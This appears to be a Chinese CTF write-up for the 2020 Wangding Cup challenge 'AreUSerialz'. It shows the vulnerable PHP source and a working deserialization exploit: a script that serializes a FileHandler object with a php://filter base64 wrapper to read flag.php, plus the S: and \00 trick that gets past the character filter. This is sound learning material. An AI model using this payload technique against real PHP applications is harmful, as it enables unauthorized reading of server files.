[网鼎杯 2020 青龙组]AreUSerialz

（ez_反序列化漏洞）

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<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

新知识：

1.我们可以直接构造一个新的序列，不用一个一个写

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class FileHandler
{
 
    public $op = 2;
    public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
    public $content;
 
}
$A=new FileHandler();
$B=serialize($A);
$B = str_replace(chr(0), '\00', $B);
$B = str_replace('s:', 'S:', $B);
echo $B;

2.利用php伪协议来读取

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php://filter/read=convert.base64-encode/resource=flag.php

原因：在服务器中file_get_contents会读取文件并且执行，看到结尾有.php便会以php的方式执行代码，可是如果flag文件里面没有echo之类的输出函数，就无法输出

如下函数：

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<?php
$flag = 'flag{23122b16-3361-4524-829a-55503b6e8000}';
?>

所以用base64直接编码读取可以直接获取全部的文件内容。

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